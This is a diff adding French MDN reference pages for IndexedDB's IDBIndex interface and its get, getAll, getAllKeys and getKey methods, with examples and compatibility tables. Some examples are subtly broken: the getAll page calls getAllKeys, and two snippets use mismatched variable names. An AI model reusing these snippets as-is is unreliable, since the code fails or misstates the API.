+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Tous les enregistrements ont été affichés.');
+    }
+  };
+};</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Ètat</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-get-IDBRequest-any-key', 'get()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/getall/index.html b/files/fr/web/api/idbindex/getall/index.html
new file mode 100644
index 0000000000..5099371f31
--- /dev/null
+++ b/files/fr/web/api/idbindex/getall/index.html
@@ -0,0 +1,101 @@
+---
+title: IDBIndex.getAll()
+slug: Web/API/IDBIndex/getAll
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBIndex/getAll
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La méthode <strong><code>getAll()</code></strong> de l'interface {{domxref("IDBIndex")}} fait une requête ({{domxref("IDBRequest")}}) qui renvoie un tableau ordonné suivant les clés, des clones structurés des enregistrements de l'index relié ({{domxref("IDBIndex")}}). On peut limiter le nombre d'enregistrements en les filtrant suivant leurs clés ou en paramétrant le compteur.</p>
+</div>
+
+<p>On peut comparer cette méthode avec une recherche par curseur. Effectivement, il est plus intéressant si l'on veut accéder aux enregistrements un par un d'utiliser un {{domxref("IDBCursor","curseur")}}, les clones structurés des valeurs seront faits un par un. Mais si l'on veut un tableau des clones structurés des valeurs il vaut mieux utiliser <code>getAll()</code>, le moteur Gecko fera les clones structurés en une seule fois.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var getAllKeysRequest = IDBIndex.getAll();
+var getAllKeysRequest = IDBIndex.getAll(query);
+var getAllKeysRequest = IDBIndex.getAll(query, count);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>query {{optional_inline}}</dt>
+ <dd>Une clé ou un intervalle de clé ({{domxref("IDBKeyRange")}}) <strong>pour filtrer</strong>, seules les valeurs des enregistrements correspondant sont renvoyées. Par défaut toutes les clones structurés des enregistrements de l'index relié sont renvoyés.</dd>
+ <dt>count {{optional_inline}}</dt>
+ <dd>Le nombre d'enregistrement <strong>maximum renvoyés</strong>. Un nombre décimal sera tronqué. Zéro annule le compteur et toutes les valeurs sont retournées.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dt>{{domxref("IDBRequest")}}</dt>
+ <dd>La propriété {{domxref("IDBRequest.result","result")}} de cette requête renvoie le tableau des clones structurés des enregistrements en cas de succès.</dd>
+</dl>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>Cette {{domxref("DOMException","exception")}} est levée si la transaction ({{domxref("IDBTransaction")}}) est inactive.</dd>
+ <dt><code>DataError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si la clé ou l'intervalle de clé ({{domxref("IDBKeyRange")}}) est invalide.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si l'index à été supprimé.</dd>
+ <dt><code>TypeError</code></dt>
+ <dd>Cette exception ({{domxref("DOMException")}}) est levée si le compteur n'est pas un nombre positif.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">//on récupère l’accès à l'index
+var myIndex = objectStore.index('index');
+//on fait une requête de recherche sur l'index
+var getAllKeyRequest = myIndex.getAllKeys();
+//si la requête réussi
+getAllKeysRequest.onsuccess = function() {
+  //on affiche le résultat sur la console
+  //~= [{key:'a',value:un_clone_structuré},{key:'2',value:un_clone_structuré},...]
+  console.log(getAllKeysRequest.result);
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB2', '#dom-idbindex-getall', 'getAll()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.IDBIndex.getAll")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/getallkeys/index.html b/files/fr/web/api/idbindex/getallkeys/index.html
new file mode 100644
index 0000000000..6495f23e44
--- /dev/null
+++ b/files/fr/web/api/idbindex/getallkeys/index.html
@@ -0,0 +1,104 @@
+---
+title: IDBIndex.getAllKeys()
+slug: Web/API/IDBIndex/getAllKeys
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBIndex/getAllKeys
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>getAllKeys()</code></strong>, rattachée à l'interface {{domxref("IDBIndex")}}, permet de récupérer les clés de tous les objets contenus dans l'index et de les enregistrer dans la propriété <code>result</code> de l'objet renvoyé par la méthode.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var getAllKeysRequest = <em>IDBIndex</em>.getAllKeys();
+var getAllKeysRequest = <em>IDBIndex</em>.getAllKeys(<em>requete</em>);
+var getAllKeysRequest = <em>IDBIndex</em>.getAllKeys(<em>requete</em>, <em>quantite</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>requete</code> {{optional_inline}}</dt>
+ <dd>Une clé ou un intervalle de clé ({{domxref("IDBKeyRange")}}) qui identifie les clés qu'on souhaite récupérer. Si cette valeur vaut {{jsxref("null")}} ou est absente, le navigateur utilisera un intervalle de clé sans limite.</dd>
+ <dt><code>quantite</code> {{optional_inline}}</dt>
+ <dd>Le nombre d'enregistrements qu'on souhaite obtenir. Si cette quantité est supérieure au nombre d'enregistrements récupérés par la requête, le navigateur ne récupèrera que le premier élément. Si elle est négative ou supérieure à <code>2<sup>32</sup>-1</code>, une exception {{jsxref("TypeError")}} sera levée.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} sur lequel seront reçus les différents évènements rattachés à cette opération.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une des exceptions suivantes :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TransactionInactiveError</code></td>
+   <td>La transaction pour cet index {{domxref("IDBIndex")}} est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'index {{domxref("IDBIndex")}} a été supprimé ou déplacé.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("TypeError")}}</td>
+   <td>Le paramètre <code>quantite</code> n'est pas compris entre <code>0</code> et <code>2<sup>32</sup>-1</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var myIndex = objectStore.index('index');
+var getAllKeyRequest = myIndex.getAllKeys();
+getAllKeysRequest.onsuccess = function() {
+  console.log(getAllKeysRequest.result);
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-idbindex-getallkeys', 'getAll()')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.IDBIndex.getAllKeys")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/getkey/index.html b/files/fr/web/api/idbindex/getkey/index.html
new file mode 100644
index 0000000000..610ca5d29c
--- /dev/null
+++ b/files/fr/web/api/idbindex/getkey/index.html
@@ -0,0 +1,214 @@
+---
+title: IDBIndex.getKey()
+slug: Web/API/IDBIndex/getKey
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Méthode
+  - Reference
+translation_of: Web/API/IDBIndex/getKey
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>getKey()</code></strong>, rattachée à l'interface {{domxref("IDBIndex")}}, renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, récupère la clé associée ou la clé primaire si l'argument passé à la fonction est un intervalle {{domxref("IDBKeyRange")}}.</p>
+
+<p>Si la méthode trouve une clé, ce sera alors la propriété <code>result</code> de la requête renvoyée. Seule la clé primaire de l'enregistrement est renvoyée (pour obtenir l'ensemble de l'enregistrement, on utilisera {{domxref("IDBIndex.get")}}).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var myIndex = objectStore.index('index');
+var request = myIndex.getKey(key);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>key</code> {{optional_inline}}</dt>
+ <dd>Une clé ou un intervalle {{domxref("IDBKeyRange")}} qui identifie l'enregistrement dont on souhaite obtenir la clé. Si la valeur vaut {{jsxref("null")}} ou si elle est absente, le navigateur utilisera un intervalle de clé sans limite.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} qui recevra les différents évènements relatifs à l'opération qui est déclenchée.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une exception. Celle-ci peut avoir l'un des types suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>TransactionInactiveError</td>
+   <td>La transaction rattachée à cet <code>IDBIndex</code> est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>La clé ou l'intervalle de clés qui est fourni contient une clé invalide.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'index a été supprimé ou déplacé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on ouvre une transaction et un magasin d'objets. Ensuite on récupère l'index <code>lName</code> sur cette base de donnée. On ouvre alors un curseur sur l'index grâce à la méthode {{domxref("IDBIndex.openCursor")}} (cela fonctionne de la même façon que {{domxref("IDBObjectStore.openCursor")}} sauf que les enregistrements sont triés selon l'index et pas selon la clé primaire).</p>
+
+<p><code>myIndex.getKey('Bungle')</code> est ensuite utilisé afin d'obtenir la clé primaire de l'enregistrement pour lequel <code>lName</code> vaut <code>Bungle</code>. Le résultat de cette requête est imprimé dans la console lorsque la fonction de rappel (<em>callback</em>) de succès est déclenché.</p>
+
+<p>Enfin, on parcourt les enregistrements pour remplir un tableau HTML. Le dépôt <a href="https://github.com/mdn/IDBIndex-example">IDBIndex-example </a>contient un exemple complet (<a href="https://mdn.github.io/IDBIndex-example/">ainsi qu'une démonstration</a>).</p>
+
+<pre class="brush: js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+  var myIndex = objectStore.index('lName');
+  var getKeyRequest = myIndex.getKey('Bungle');
+  getKeyRequest.onsuccess = function() {
+    console.log(getKeyRequest.result);
+  }
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Les éléments sont affichés.');
+    }
+  };
+};</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-getKey-IDBRequest-any-key', 'getKey()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>L'exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">notifications de trucs à faire</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">voir la démonstration</a>)</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/index.html b/files/fr/web/api/idbindex/index.html
new file mode 100644
index 0000000000..cd228c60b7
--- /dev/null
+++ b/files/fr/web/api/idbindex/index.html
@@ -0,0 +1,278 @@
+---
+title: IDBIndex
+slug: Web/API/IDBIndex
+tags:
+  - API
+  - Database
+  - IDBIndex
+  - IndexedDB
+  - Interface
+  - Reference
+  - Storage
+  - TopicStub
+translation_of: Web/API/IDBIndex
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<div>
+<p>L'interface <strong><code>IDBIndex</code></strong>de l'{{domxref("IndexedDB_API","API IndexedDB")}} est un accès à un index d'un magasins d'objet. Un index permet de trier les enregistrements d'un magasin d'objet sur une autre clé que la clé primaire.</p>
+
+<p>Un index contient des enregistrements persistent. Chaque enregistrement est composé d'une clé ( la valeur du chemin de clé) et d'une valeur (la clé primaire de l'enregistrement dans le magasin d'objet). Les enregistrements de l'index se mettent automatiquement à jour lorsque un enregistrement du magasin d'objet est ajouté , mise à jour ou supprimé. Chaque enregistrement de l'index ne peut référer qu'a un enregistrement du magasin d'objet. Un magasin d'objet peut avoir plusieurs index et lorsque le magasin d'objet change tout les index sont mis à jour automatiquement.</p>
+
+<p>On peut retrouver les enregistrement sur une partie des clés, voir {{domxref("IDBKeyRange","intervalle de clé")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Hérite de: <a href="/en/DOM/EventTarget" title="en/DOM/EventTarget">EventTarget</a></p>
+
+<dl>
+ <dt>{{domxref("IDBIndex.count()")}}</dt>
+ <dd>Fait un {{domxref("IDBRequest","requête")}} sur l'index. La requête compte le nombre d'enregistrements dans cet index ou sur l'{{domxref("IDBKeyRange","intervalle de clé")}} passé en paramètre.</dd>
+ <dt>{{domxref("IDBIndex.get()")}}</dt>
+ <dd>Fait une {{domxref("IDBRequest","requête")}} pour renvoyer le premier enregistrement correspondant à la clé ou l'{{domxref("IDBKeyRange","")}} du magasin d'objet suivant l'index.</dd>
+ <dt>{{domxref("IDBIndex.getKey()")}}</dt>
+ <dd>Fait une {{domxref("IDBRequest","requête")}} pour renvoyer la clé primaire correspondant à la clé ou à l'{{domxref("IDBKeyRange","intervalle de clé")}} de l'index. Si une clé est trouvé le résultat de la requête contiendra seulement la clé primaire de l'enregistrement et non l'enregistrement comme le fait {{domxref("IDBIndex.get")}}.</dd>
+ <dt>{{domxref("IDBIndex.getAll()")}}</dt>
+ <dd>Fait une {{domxref("IDBRequest","requête")}} qui renvoie un tableau ordonné suivant les clés, des clones structurés des enregistrements de l'{{domxref("IDBIndex","index relié")}}. On peut limité le nombre d'enregistrements en les filtrants suivant leurs clés ou en paramétrant le compteur.</dd>
+ <dt>{{domxref("IDBIndex.getAllKeys()")}}</dt>
+ <dd>Ferrais une {{domxref("IDBRequest","requête")}} qui renverrait la liste de toutes les clés des enregistrements de l'index. On pourrait limiter le nombre d'enregistrements en les filtrants suivant leurs clés ou en paramétrant le compteur.</dd>
+ <dt>{{domxref("IDBIndex.openCursor()")}}</dt>
+ <dd>Fait une {{domxref("IDBRequest","requête")}} récursive suivant un {{domxref("IDBCursorWithValue","curseur avec valeur")}} qui itère l'index {{domxref("IDBObjectStore","relié")}} sur l'{{domxref("IDBKeyRange","intervalle de clé")}} spécifié.</dd>
+ <dt>{{domxref("IDBIndex.openKeyCursor()")}}</dt>
+ <dd>Fait une {{domxref("IDBRequest","requête")}} récursive suivant un {{domxref("IDBCursor","curseur")}} qui itère l'index {{domxref("IDBObjectStore","relié")}} sur l'{{domxref("IDBKeyRange","intervalle de clé")}} spécifié.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IDBIndex.isAutoLocale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt>
+ <dd>Renvoie un {{domxref("Boolean","booléen")}} indiquant si la valeur de <code>locale</code> à été paramétré sur <code>auto</code> lors de la mise en place de l'index (voir les paramètres <code>{{domxref("IDBObjectStore.createIndex")}}</code>).</dd>
+ <dt>{{domxref("IDBIndex.locale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt>
+ <dd>Renvoie la localisation de l'index (par exemple fr, ou <code>en-US</code>) <code>si la localisation à été spécifie lors de la mise en place de l'index</code> (voir les paramètres {{domxref("IDBObjectStore.createIndex")}}).</dd>
+ <dt>{{domxref("IDBIndex.name")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nom de l'index.</dd>
+ <dt>{{domxref("IDBIndex.objectStore")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("IDBObjectStore","accès au magasin d'objet")}} que référence l'index.</dd>
+ <dt>{{domxref("IDBIndex.keyPath")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le chemin de clé de l'index. Si l'index n'est pas <a href="https://developer.mozilla.org/fr/IndexedDB/Index#gloss_auto-populated" title="en/IndexedDB/Index#gloss auto-populated">automatiquement mise à jour</a> la propriété vaux <code>null</code>.</dd>
+ <dt>{{domxref("IDBIndex.multiEntry")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("Boolean","booléen")}} qui indique comment l'index gère le chemin de clé si c'est un tableau.</dd>
+ <dt>{{domxref("IDBIndex.unique")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un {{domxref("Boolean","booléen")}} qui indique l'index interdit la duplication d'enregistrement sur sa clé.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant on ouvre une transaction puis un magasin d'objet et enfin l'index <code>lName</code>.</p>
+
+<p>Finalement, On itère sur tous les enregistrements pour en insérer les données dans un tableau HTML. En utilisant la méthode {{domxref("IDBIndex.openCursor")}} qui travaille de la même façon que la méthode {{domxref("IDBObjectStore.openCursor")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d'objet sauf que les enregistrements sont renvoyés dans l'ordre de l'index et non celui du magasin d'objet.</p>
+
+<pre class="brush:js notranslate">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+
+  //ouvre un transaction
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  //accés au magasin d'objet
+  var objectStore = transaction.objectStore('contactsList');
+
+  //on récupère l'index
+  var myIndex = objectStore.index('lName');
+
+  //un curseur qui itère sur l'index
+  var request = myIndex.openCursor();
+  request.onsuccess = function(event) {
+    var cursor = request.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Tous les enregistrements ont été affichés.');
+    }
+  };
+};</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBIndex', 'IDBIndex')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(23.0)}}{{property_prefix("webkit")}}<br>
